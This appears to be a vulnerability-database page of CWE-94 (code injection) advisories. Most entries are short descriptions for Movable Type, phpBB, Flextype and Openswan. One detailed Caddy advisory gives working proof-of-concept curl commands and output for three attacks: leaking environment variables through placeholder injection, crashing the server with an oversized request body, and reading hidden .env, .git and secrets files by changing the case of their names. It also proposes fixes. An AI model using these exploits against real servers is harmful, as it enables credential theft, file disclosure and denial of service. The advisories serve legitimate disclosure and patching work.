CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9394 vulnerabilities reference this CWE, most recent first.
GHSA-J8HC-RQ6G-3F96
Vulnerability from github – Published: 2022-12-07 06:30 – Updated: 2022-12-12 15:30Improper neutralization of Server-Side Includes (SSW) within a web page in Movable Type series allows a remote authenticated attacker with Privilege of 'Manage of Content Types' may execute an arbitrary Perl script and/or an arbitrary OS command. Affected products/versions are as follows: Movable Type 7 r.5301 and earlier (Movable Type 7 Series), Movable Type Advanced 7 r.5301 and earlier (Movable Type Advanced 7 Series), Movable Type Premium 1.53 and earlier, and Movable Type Premium Advanced 1.53 and earlier.
{
"affected": [],
"aliases": [
"CVE-2022-43660"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-07T04:15:00Z",
"severity": "HIGH"
},
"details": "Improper neutralization of Server-Side Includes (SSW) within a web page in Movable Type series allows a remote authenticated attacker with Privilege of \u0027Manage of Content Types\u0027 may execute an arbitrary Perl script and/or an arbitrary OS command. Affected products/versions are as follows: Movable Type 7 r.5301 and earlier (Movable Type 7 Series), Movable Type Advanced 7 r.5301 and earlier (Movable Type Advanced 7 Series), Movable Type Premium 1.53 and earlier, and Movable Type Premium Advanced 1.53 and earlier.",
"id": "GHSA-j8hc-rq6g-3f96",
"modified": "2022-12-12T15:30:32Z",
"published": "2022-12-07T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43660"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN37014768/index.html"
},
{
"type": "WEB",
"url": "https://movabletype.org/news/2022/11/mt-796-688-released.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8PR-F7J2-MGCH
Vulnerability from github – Published: 2022-05-01 07:45 – Updated: 2022-05-01 07:45PHP remote file inclusion vulnerability in includes/functions_mod_user.php in phpBB Import Tools Mod 0.1.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.
{
"affected": [],
"aliases": [
"CVE-2006-7147"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-03-07T20:19:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in includes/functions_mod_user.php in phpBB Import Tools Mod 0.1.4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.",
"id": "GHSA-j8pr-f7j2-mgch",
"modified": "2022-05-01T07:45:15Z",
"published": "2022-05-01T07:45:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-7147"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29512"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/2531"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20525"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8PX-RMRX-76H9
Vulnerability from github – Published: 2026-09-18 13:09 – Updated: 2026-09-18 13:09Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND
2. Ends with a literal ? (with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
- {env.X} — any env var on the Caddy process
- {file./path} — any file readable by the Caddy process (if file provider is registered)
- {vars.X} — Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.
Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS
File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body)
Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)
Root cause
When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.
This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.
Reproduction (real Caddy 2.11.3, 512 MB container cap)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
mem_limit: 512m
memswap_limit: 512m
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit (Windows PowerShell):
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
Container state immediately after:
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID IMAGE STATUS NAMES
7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3
PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.
A small body works fine:
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
Real-world exploitability
The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.
Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a LimitReader keyed off either:
1. The operator's configured request_body.max_size (if set), or
2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden() uses filepath.Match, which is case-sensitive. However:
- macOS APFS is case-insensitive by default
- Windows NTFS is case-insensitive by default
- Linux ext4 can be configured with the casefold flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side
On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.
On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
root * /srv
file_server {
hide .git .env secrets
}
}
Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
/srv/.git/HEAD "ref: refs/heads/main"
/srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets:
- .git/HEAD + .git/config + .git/objects/ → source code disclosure
- .env → credentials, API keys, database connection strings
- secrets/ → operator-named bucket of anything sensitive
The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.
Suggested fix
In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.
Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.
Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.
Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77281"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-770",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T13:09:27Z",
"nvd_published_at": "2026-09-17T21:17:37Z",
"severity": "MODERATE"
},
"details": "# Caddy v2.11.3 \u2014 Three vulnerabilities in handler/placeholder layer\n\n**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)\n**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits\n\nThis advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.\n\n---\n\n## Issue 1: Rewrite handler \u2014 placeholder double-expansion enables env var / file disclosure\n\n**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`\n**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)\n**Severity:** Low (requires operator config with trailing `?` in rewrite URI)\n\n### Root cause\n\nWhen the operator\u0027s `rewrite` URI template:\n1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND\n2. Ends with a literal `?` (with empty query side)\n\n\u2026then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.\n\n```go\n// rewrite.go (abridged)\nnewPath = repl.ReplaceAll(path, \"\") // pass 1 \u2014 header expanded\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n var injectedQuery string\n newPath, injectedQuery = before, after\n if query == \"\" { // trailing-? branch\n query = injectedQuery // attacker bytes flow into \u0027query\u0027\n }\n}\nif query != \"\" {\n newQuery = buildQueryString(query, repl) // pass 2 \u2014 RE-EXPANDS attacker input\n}\n```\n\nThis is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n rewrite * /serve/{http.request.header.X-Fwd}?\n respond \"PATH={path} QUERY={query}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n caddy:\n image: caddy:2.11.3\n environment:\n DATABASE_URL: \"postgres://leaked:supersecret@dbserver/production\"\n ports: [\"8080:8080\"]\n volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit:\n```\n$ docker compose up -d\n$ curl \"http://localhost:8080/anything\" -H \"X-Fwd: foo?{env.DATABASE_URL}=leak\"\nPATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak\n```\n\nURL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.\n\n### Available read primitives\n\nThe same gadget exposes any placeholder the attacker can name in their injected substring:\n- `{env.X}` \u2014 any env var on the Caddy process\n- `{file./path}` \u2014 any file readable by the Caddy process (if `file` provider is registered)\n- `{vars.X}` \u2014 Caddy-internal request variables\n\n### Suggested fix (mirrors the CVE-2026-30852 patch)\n\nAfter splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:\n\n```go\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n var injectedQuery string\n newPath, injectedQuery = before, after\n if query == \"\" {\n injectedQuery = strings.ReplaceAll(injectedQuery, \"{\", \"%7B\")\n injectedQuery = strings.ReplaceAll(injectedQuery, \"}\", \"%7D\")\n query = injectedQuery\n }\n}\n```\n\nAlso recommend adding equivalent regression tests in `rewrite_test.go` to the three \"is not re-expanded\" tests in `vars_test.go`.\n\n---\n\n## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder \u2014 memory exhaustion DoS\n\n**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)\n**Class:** CWE-770 (Allocation of Resources Without Limits)\n**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)\n\n### Root cause\n\nWhen any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware\u0027s size limit, because the placeholder is resolved before that middleware sees the request.\n\nThis means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.\n\n### Reproduction (real Caddy 2.11.3, 512 MB container cap)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n log_append body {http.request.body}\n respond \"OK, length received: {http.request.header.Content-Length}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n caddy:\n image: caddy:2.11.3\n mem_limit: 512m\n memswap_limit: 512m\n ports: [\"8080:8080\"]\n volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit (Windows PowerShell):\n```\nPS\u003e fsutil file createnew big.bin 1073741824\nFile C:\\caddy-verify\\test3-body-dos\\big.bin is created\nPS\u003e curl.exe -X POST --data-binary \"@big.bin\" -H \"Expect:\" --max-time 120 http://localhost:8080/\ncurl: (28) Operation timed out after 120010 milliseconds with 0 bytes received\n```\n\nContainer state immediately after:\n```\nPS\u003e docker ps -a --filter name=caddy-verify-3\nCONTAINER ID IMAGE STATUS NAMES\n7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3\n\nPS\u003e docker inspect caddy-verify-3 --format \"ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}\"\nExitCode=137 OOMKilled=true\n```\n\n`OOMKilled=true` is dispositive \u2014 the Linux kernel\u0027s OOM killer fired. Caddy\u0027s logs cut off cleanly after `\"serving initial configuration\"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.\n\nA small body works fine:\n```\n$ curl -X POST -d \"hello world\" http://localhost:8080/\nOK, length received: 11\n```\n\n### Real-world exploitability\n\nThe `log_append body {http.request.body}` pattern is in Caddy\u0027s documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains(\u0027admin\u0027)`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.\n\nContainer memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.\n\n### Suggested fix\n\nWrap the body read with a `LimitReader` keyed off either:\n1. The operator\u0027s configured `request_body.max_size` (if set), or\n2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.\n\nIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.\n\n---\n\n## Issue 3: `fileHidden()` case-sensitive pattern bypass \u2014 exposes \"hidden\" files via case variation\n\n**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)\n**Class:** CWE-178 (Improper Handling of Case Sensitivity)\n**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)\n\n### Root cause\n\n`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:\n- **macOS APFS** is case-insensitive by default\n- **Windows NTFS** is case-insensitive by default\n- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side\n\nOn a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy\u0027s hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.\n\nOn a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n admin off\n auto_https off\n}\n\n:8080 {\n root * /srv\n file_server {\n hide .git .env secrets\n }\n}\n```\n\nSetup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):\n\n```\n/srv/.git/HEAD \"ref: refs/heads/main\"\n/srv/.GIT/HEAD \"ref: refs/heads/main (UPPERCASE BYPASS)\"\n/srv/.env \"DATABASE_URL=postgres://user:pass@host\"\n/srv/.ENV \"DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\"\n/srv/secrets/api.txt \"supersecret_api_key=sk_live_real\"\n/srv/SECRETS/api.txt \"supersecret_api_key=sk_live_real (UPPERCASE BYPASS)\"\n```\n\nTest transcript (all three hide rules \u2014 `.git`, `.env`, `secrets` \u2014 bypassed via uppercase):\n\n```\nPS\u003e curl.exe -i http://localhost:8080/.git/HEAD\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.GIT/HEAD\nHTTP/1.1 200 OK\nContent-Length: 40\nref: refs/heads/main (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/.env\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/.ENV\nHTTP/1.1 200 OK\nContent-Length: 58\nDATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\n\nPS\u003e curl.exe -i http://localhost:8080/secrets/api.txt\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS\u003e curl.exe -i http://localhost:8080/SECRETS/api.txt\nHTTP/1.1 200 OK\nContent-Length: 52\nContent-Type: text/plain; charset=utf-8\nsupersecret_api_key=sk_live_real (UPPERCASE BYPASS)\n```\n\nThree separate hide rules, three separate uppercase bypasses, all 200 OK with the \"hidden\" content served.\n\n### Why this matters in practice\n\n`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:\n- `.git/HEAD` + `.git/config` + `.git/objects/` \u2192 source code disclosure\n- `.env` \u2192 credentials, API keys, database connection strings\n- `secrets/` \u2192 operator-named bucket of anything sensitive\n\nThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files \u2014 only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren\u0027t there.\n\n### Suggested fix\n\nIn `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go\u0027s standard library does not expose a portable \"is this filesystem case-insensitive\" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.\n\nAlternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.\n\n---\n\n## Reproduction kit\n\nA full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.\n\n## Reporter\n\nIndependent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.",
"id": "GHSA-j8px-rmrx-76h9",
"modified": "2026-09-18T13:09:27Z",
"published": "2026-09-18T13:09:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77281"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/pull/7761"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass"
}
GHSA-J8RR-2WMH-Q2H8
Vulnerability from github – Published: 2026-08-28 21:31 – Updated: 2026-08-28 21:31Flextype CMS through v1.0.0-dev contains an expression language injection vulnerability that allows authenticated attackers with a valid API token to read arbitrary files by passing unsanitized user-supplied input to the Symfony ExpressionLanguage engine via the POST /api/v1/query endpoint. Attackers can leverage exposed application objects including filesystem() and serializers() within the evaluation scope to read arbitrary server files and achieve conditional remote code execution if a PHP file can be placed on disk through a secondary vector.
{
"affected": [],
"aliases": [
"CVE-2026-77939"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T20:19:56Z",
"severity": "HIGH"
},
"details": "Flextype CMS through v1.0.0-dev contains an expression language injection vulnerability that allows authenticated attackers with a valid API token to read arbitrary files by passing unsanitized user-supplied input to the Symfony ExpressionLanguage engine via the POST /api/v1/query endpoint. Attackers can leverage exposed application objects including filesystem() and serializers() within the evaluation scope to read arbitrary server files and achieve conditional remote code execution if a PHP file can be placed on disk through a secondary vector.",
"id": "GHSA-j8rr-2wmh-q2h8",
"modified": "2026-08-28T21:31:18Z",
"published": "2026-08-28T21:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77939"
},
{
"type": "WEB",
"url": "https://github.com/flextype/flextype/issues/595"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flextype-cms-dev-rce-via-post-api-v1-query-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J8V8-55QM-66H6
Vulnerability from github – Published: 2022-05-14 00:55 – Updated: 2022-05-14 00:55Buffer overflow in programs/pluto/xauth.c in the client in Openswan 2.6.26 through 2.6.28 might allow remote authenticated gateways to execute arbitrary code or cause a denial of service via a long cisco_banner (aka server_banner) field.
{
"affected": [],
"aliases": [
"CVE-2010-3308"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-10-05T22:00:00Z",
"severity": "MODERATE"
},
"details": "Buffer overflow in programs/pluto/xauth.c in the client in Openswan 2.6.26 through 2.6.28 might allow remote authenticated gateways to execute arbitrary code or cause a denial of service via a long cisco_banner (aka server_banner) field.",
"id": "GHSA-j8v8-55qm-66h6",
"modified": "2022-05-14T00:55:33Z",
"published": "2022-05-14T00:55:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3308"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2010:0892"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2010-3308"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=637924"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-October/048999.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-October/049053.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-October/049073.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/41769"
},
{
"type": "WEB",
"url": "http://www.openswan.org/download/CVE-2010-3308/CVE-2010-3308.txt"
},
{
"type": "WEB",
"url": "http://www.openswan.org/download/CVE-2010-3308/openswan-2.6.26-2.6.28-CVE-2010-330x.patch"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2010-0892.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/43588"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1024749"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/2526"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J8XR-8HJF-7JP2
